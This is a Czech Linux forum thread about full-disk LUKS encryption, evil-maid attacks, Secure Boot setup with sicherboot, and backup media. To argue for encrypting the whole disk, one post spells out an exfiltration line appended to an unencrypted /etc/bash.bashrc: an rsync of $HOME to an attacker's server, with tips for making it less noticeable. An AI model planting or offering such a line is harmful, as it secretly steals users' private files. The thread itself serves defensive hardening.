Portál AbcLinuxu, 5. května 2025 21:34
Řešení dotazu:
none /tmp tmpfs size=16G,mode=1777 0 0 none /var/tmp/portage tmpfs size=16G 0 0Souborový systém tmpfs drží data v RAM a swapu. Volba size= určuje velikost a mode= je nastavení oprávnění. První je pro dočasné soubory (4 GB RAM + 10 GB swapu stačí bohatě i pro dočasné soubory). Druhý je pro kompilace balíčků (opět moje RAM stačí).
Pokud je to pro případ krádeže, tak stačí šifrovat /home (případně i jen samostatné uživatele), swap (nikdy nevíte, co se do něj dostane) a pak další data, která by mohla někomu napovědět, co tam děláte (logy, nastavení, …).
Teď se na webu zbytečně povaluje nebezpečný nesmysl. Šifrování
/home
nikdy nestačí (a navíc vynucuje úplně zbytečné dělení diskového prostoru na oddíly). (Data z /home
můžou pronikat taky do /var
, /run
nebo /tmp
, ale to je jen velmi malý problém ve srovnání s možností pozměnit nešifrovanou část disku.)
Mám tenhle znamenitý nápad: Dostanu se v tazatelově nepřítomnosti k jeho počítači. Vymontuju jeho disk, zapojím ho do svého USB 3.0 <-> SATA adaptéru, připojím ke svému notebooku, otevřu (nešifrovaný!) /etc/bash.bashrc
a přidám tam tohle:
nohup rsync -az "$HOME" my.wonderful.rsync.server:/incoming/ &
Ještě tam můžu dát nice -n 19 ionice -c 3
, aby to bylo o malinko méně nápadné. Taky by se mohlo ošetřit, aby ten rsync
běžel jenom jednou (mkdir /tmp/lalala-"$USER" && rsync...
) nebo aby víc instancí nevadilo (.../incoming/$(date +%s)/...
), podle chuti a situace.
Všechno uložím, odpojím, disk namontuju zpátky a nepozorovaně opustím budovu.
Když si počítač někdo „půjčí,“ máte problém i když to je šifrování celého disku.
Tak to právě ne. Když tam bude šifrování celého disku, včetně kernelu a initramfs, pak se (samozřejmě za předpokladu rozumného nastavení LUKS) žádný problém nekoná. Přesněji, při správném použití LUKS se problém v podstatě redukuje na předcházení cold boot útokům.
Rizikem je tedy jen případ, kdy si někdo "půjčí" zapnutý nebo uspaný počítač a podnikne cold boot útok k získání master key — proti tomu lze těžko něco poradit, snad jen (1) mít dobré fyzické zabezpečení (budov / kanceláří / domova), (2) nevzdalovat se od zapnutého nebo uspaného počítače a (3) vypínat počítač cca půl hodiny předtím, než se od něj vzdálím. Což je téměř neproveditelné, takže snazší možnost je skladovat počítač v trezoru, jehož překonání bude trvat (doufejme!) déle než časový limit pro cold boot útok.
Záleží vždy na tom, jak až citlivá ta data jsou. Od toho se odvíjí rozpočet případného útočníka na provedení útoku a tím pádem jeho celkové možnosti.
Pokud máš zašifrovaný celý disk, potřebuješ vždycky passphrase, to je jasné.
Co říká nějaké dialogové okno, to je celkem irelevantní. Útočník bude mít celý LUKS tool chain a k tomu mnohem víc.
Pokud máš zašifrovaný jenom /home
a můžeš se tedy dostat k /etc/bash.bashrc
bez zadání passphrase, můžeš klidně aplikovat můj nápad uvedený výše. (A pak disk namontovat zpátky, nabootovat z něj, přihlásit se … a ouha, data jdou kdovíkam.)
Ale ano, pomůže. Přečti si znova, co jsem psal.
Já ti ten disk totiž namontuju zpátky. Ty o tom nebudeš vědět. Spustíš počítač, přihlásíš se a moje řádka v /etc/bash.bashrc
(který není šifrovaný a proto jsem ho mohl změnit) mi všechna tvoje data pošle. Samozřejmě nešifrovaná, protože /home
budeš mít tou dobou otevřený a namountovaný.
Tenhle útok je samozřejmě víc o sociálním inženýrství než o technické stránce věci. Tedy, musel bych se nepozorovaně dostat fyzicky k tomu počítači v tvé nepřítomnosti a pak hlavně nikde nezapomenout šroubovák nebo něco, co by tě upozornilo, že někdo s počítačem manipuloval.
Tím, že ti jenom ukradnu disk (a nevrátím ti ho), nebudu schopen dostat se k šifrovanému /home
.
V takovém případě budu schopen jenom maximálně projít /var
, a (jestli je příslušná distribuce tak špatně navržená, že nepoužívá tmpfs
) taky /run
a /tmp
a podívat se, jestli tam neunikla nějaká zajímavá citlivá data.
Taky swap by mohl být zajímavý. Pokud tedy používáš (nešifrovaný) swap. V dnešní době bych žádné použití swapu (šifrovaného ani nešifrovaného) nedoporučoval.
Někdo pořád může pozměnit/vyměnit zavaděč tak, aby bootoval jeho jádro a initramfs. Možná trochu pomůže Secure Boot, ale ani ten není 100% jistota, protože ho může kdokoliv vypnout.Když si počítač někdo „půjčí,“ máte problém i když to je šifrování celého disku.Tak to právě ne. Když tam bude šifrování celého disku, včetně kernelu a initramfs, pak se (samozřejmě za předpokladu rozumného nastavení LUKS) žádný problém nekoná. Přesněji, při správném použití LUKS se problém v podstatě redukuje na předcházení cold boot útokům.
Tak to právě ne. Když tam bude šifrování celého disku, včetně kernelu a initramfs, pak se (samozřejmě za předpokladu rozumného nastavení LUKS) žádný problém nekoná.Co když mu do stage1.5 GRUBu přidám vlastní modul?
Ano, to je pravda. Tedy buď nastavit SecureBoot (což se ale dá dost těžko udělat tak, aby ověřoval taky všechny moduly a nastavení GRUBu), nebo nebootovat z ničeho jiného než z flashdisku (ideálně hardwarově chráněného proti přepisu), na kterém je GRUB a který se mimo boot u počítače nenechává.
[...]Nejjednodušší a asi nejlevnější je připravit zavaděč+jádro+initramfs, které spustí SW keylogger[...]pokud bude nastavede BIOS heslo, aktivni SecureBoot, smazane vychozi klice a nahranej jen vlastni klic a jim podepsanej zavadec, tak tve pripravene efi to nenastartuje... minimalne dokud nejak nezaridis (dle moznosti hw) aby se heslo vyresetovalo a nahodis vychozi klice... pokud ale vlastnik bude v early boot rootfs mit nejakou kontrolu zda je start z jeho podepsaneho zavadece, tak bys mel smulu i tak...
@jiwopene:
Skvěle vysvětleno, také děkuji.
Ještě se chci zeptat ohledně tmpfs. Není náhodou volba mode=1777
nastavena jako výchozí? Není tedy zbytečné to do fstab uvádět?
Je lepší zašifrovat úplně všechno, včetně kernelu a initramfs. GRUB dnes bez problémů podporuje LUKS, takže dnes už není problém mít všechno šifrované, včetně adresáře /boot
.
Hlavním důvodem je známý typ útoku, při kterém útočník získá v tvé nepřítomnosti fyzický přístup k počítači a nepozorovaně pozmění data na disku.
Pokud nebudeš mít zašifrovaný celý disk, může útočník například zařídit, aby se mu při příštím spuštění tvého počítače zpřístupnila všechna tvá soukromá data. Nejjednodušší je podstrčit upravený /etc/bash.bashrc
, který později zařídí vše potřebné, až se přihlásíš s odemčeným /home
. Trochu méně nápadné by bylo podstrčit upravenou verzi některé z binárek, které většinou běží, když je /home
odemčený a namountovaný, třeba shell nebo display manager.
Když budeš mít celý disk šifrovaný, tohle^^^ se nemůže stát.
(Malá poznámka stranou: Před pokusem pozměnit kernel a initramfs by tě ještě mohl zachránit SecureBoot, pokud máš na všech úrovních (EFI, shim, GRUB, kernel s podpisy) všechno správně nastavené a podepsané. Ale takový /etc/bash.bashrc
, pokud vím, nikde podepsaný a kontrolovaný není.)
Další důvod, proč šifrovat celý disk, se tu řešil asi stokrát: Nejlepší je nedělit místo na disku. Když si disk zašifruješ kompletně, můžeš pak mít jeden velký filesystém s případnými subvolume, jeden velký sdílený prostor, kde nehrozí, že velikost nějakého oddílu bude špatně stanovená a na oddíle dojde místo, zatímco jinde spousta volného místa. Nepotřebuješ potom žádný
/boot
oddíl ani /home
oddíl; obojí může být třeba subvolume, má-li to mít vlastní kvóty nebo snapshoty, ale to je asi tak všechno. Všechen diskový prostor (ať už z jednoho disku nebo klidně z více disků najednou) budeš mít k dispozici najednou a bez zbytečné fragmentace.
Résumé tedy je, že zašifrováním celého disku získáš:
Ano, to je pravda. Mohl by například upravit GRUB tak, aby automaticky aplikoval nějaký kernel patch. Nebo třeba i méně sofistikovaný hack jako přidání hesla od LUKS v plaintextu do příkazové řádky kernelu by se dal později docela snadno zneužít.
Na některých strojích mám z toho důvodu GRUB pouze na flashdisku, který u daných strojů nikdy nenechávám. Bootovat z čehokoliv jiného má EFI zakázáno.
Nic ve zlém Bohatýre, ale:
Mít zálohu jen na jednom disku je hloupé.
Pokud se ale z nějakého důvodu musím spoléhat jen na jeden disk a před zálohováním neprovedu jeho kontrolu, tak to je ještě více hloupé.
Uložit si LUKS hlavičku neznámo kam je ještě více hloupé.
A v domácím prostředí nešifrovat mi taky přijde hloupé. Někdo tě vykrade, odnese si komp a pokud v něm máš např. naskenované dokumenty s tvým rodným číslem atd., tak to taky není to pravé ořechové, že?
Tos mi připomněl, že jsem si chtěl pořídit disk, zašifrovat jej, umístit na něj zálohu s daty a u někoho jej uschovat. Kdybych např. vyhořel, tak abych nepřišel o data. Jaký disk se na to hodí? Rotačním prý nesvědčí, když dlouho leží, i když já mám opačné zkušenosti. Bude to lepší dát na SSD?
Asi 2x ročně bych ten disk přepsal aktuální zálohou všech dat, takže by tam ta data byla vlastně půl roku. To by SSD použít šlo, ne?
Ty disky jsou zajímavé, ale při tomto způsobu zálohování by to bylo drahé. 5ks 100GB disků stojí $60 a vydrželo by to 2,5 roku. A taky mi to přijde docela pomalé - 4X. Vypálit 70GB by trvalo šíleně dlouho. A kdo ví, jestli budou za 50 let CD/DVD/BD mechaniky a konektory SATA?
Ještě k SSD. Jak jej ideálně skladovat. Asi v antistatickém sáčku někde ve skříni při pokojové teplotě, ne?
Tak tedy koupím HDD. Dík za radu.
Neuvědomil jsem si, že HDD/SSD mají taky SATA, takže to bylo tak trochu faux pas
Já mám datový oddíl na SSD, kde jsou některé soubory už rok. Takže by bylo dobré veškerá data na tom oddílu smazat a nakopírovat je tam znovu ze zálohy?
Jo, ten datový oddíl je zapojen. Takže dobrý.
Dík
za 50 let CD/DVD/BD mechaniky a konektory SATA?redukce? Myslim ze i za sto let bude jednodussi vyrobit takovou blbost nez vyrobit identickou kopii motoru z 1. ci 2. svetove valky.
Ještě k SSD. Jak jej ideálně skladovat. Asi v antistatickém sáčku někde ve skříni při pokojové teplotě, ne?To me rozesmalo, driv odejde disk 1. lidskou neopatrnosti nebo elektronicky, i odbornici mu prisuzuji mensi zivotnost nez plotnovemu disku, pokud se s nim zachazi opatrne. Docela by me zajimalo jestli nekdo na svete ma stale citelna data, ktera nahral nejaky HDD v rannych pocatcich jeho konzumniho prodeje, odhadem bez wikipedie tak pred 45 lety?
Šifrování blokového zařízení je na HDD nebo s AES-NI nepostřehnutelné.Na HDD mas pravdu. Pokud tam je SSD/raid, tak uz to vzdy neplati.
# Algorithm | Key | Encryption | Decryption # T420s + i7-2640M (CPU stare 8let): aes-xts 512b 991,9 MiB/s 1011,2 MiB/s # X220 + i5-2520M (CPU stare 8let): aes-xts 512b 912,6 MiB/s 953,5 MiB/s # DesktopSTX + i3-7100T (CPU stare 3roky): aes-xts 512b 1750,2 MiB/s 1759,7 MiB/stzn. pouze super rychle NVMe muze LUKS zpomalit, ovsem nemam k dispozici super rychle/aktualni i7/Xeon kde ten AES-NI vykon muze byt opet vyssi
fio readwrite test: read 73k, write 24k luks read 54k, read 18k (aes-xts 512b) cryptsetup benchmark: aes-xts 512b encrypt 1673MiB/s decrypt 1686MiB/s
No a jak to tedy máš udělané ty?
# instalace sudo apt install sicherboot # pripadna uprava nastaveni, menil sem pouze CN aby misto MACHINE_ID tam bylo neco srozimetelneho, ale neni treba sudo mcedit /etc/sicherboot/sicherboot.conf # priprava cmdline (to je nutne, vychozi neni nic, minimalne aspon pridat prazdnej soubor) sudo touch /etc/kernel/cmdline # nebo dat bezne/rozumne parametry: echo "splash quiet net.ifnames=0" | sudo tee /etc/kernel/cmdline # vygenerovani klicu, nahrani klicu do EFI oddilu(pro pozdeji nahradni do BIOSu), instalace do EFI, "zabaleni+podepsani" (beziciho)jadra+init do EFI # odpovidat na vse yes... (warningu "data remaining[XXXXX vs YYYYY]: gaps between PE/COFF sections?" netreba si vsimat sudo sicherboot setuppak v BIOSu (pokud to umoznuje) vymazat vse vychozi a nahrat z EFI/Keys pripravene PK, KEK a db, pokud neumoznuje primo nahrat, tak bude volba neco jako "Remove keys and switch do SetupMode" nasledne restart a sicherboot nahodi KeyTool v kterem lze rucne importovat KEK, db, PK(toto jako POSLEDNI, jinak mi to proslo ale v BIOSu se SecureBoot hlasil status stale jako disabled)...
sudo rename 's/$/.OFF/' /boot/efi/loader/entries/*-keytool.conf
bootctl set-default $ID
sudo bootctl set-default Unknown operation set-default.nicmene diky, nasmerovalo me to sem a NEni treba mazat(=tento prispevek timto rusim), ale staci po ukonceni KeyTool na polozce v menu zmacknout d (jako default), pro zobrazeni ostatnich klaves h (jako help)
/usr/share/initramfs-tools/scripts/local-premount/resume
). Je to bezpečné a bezproblémové. Jen je potřeba při probouzení zadat heslo k LUKS stejně, jako při bootu (neboť to je stejné). Z pohledu Secure Bootu a EFI se stále stejně bootuje tatáž EFI binárka.
Tiskni
Sdílej:
ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.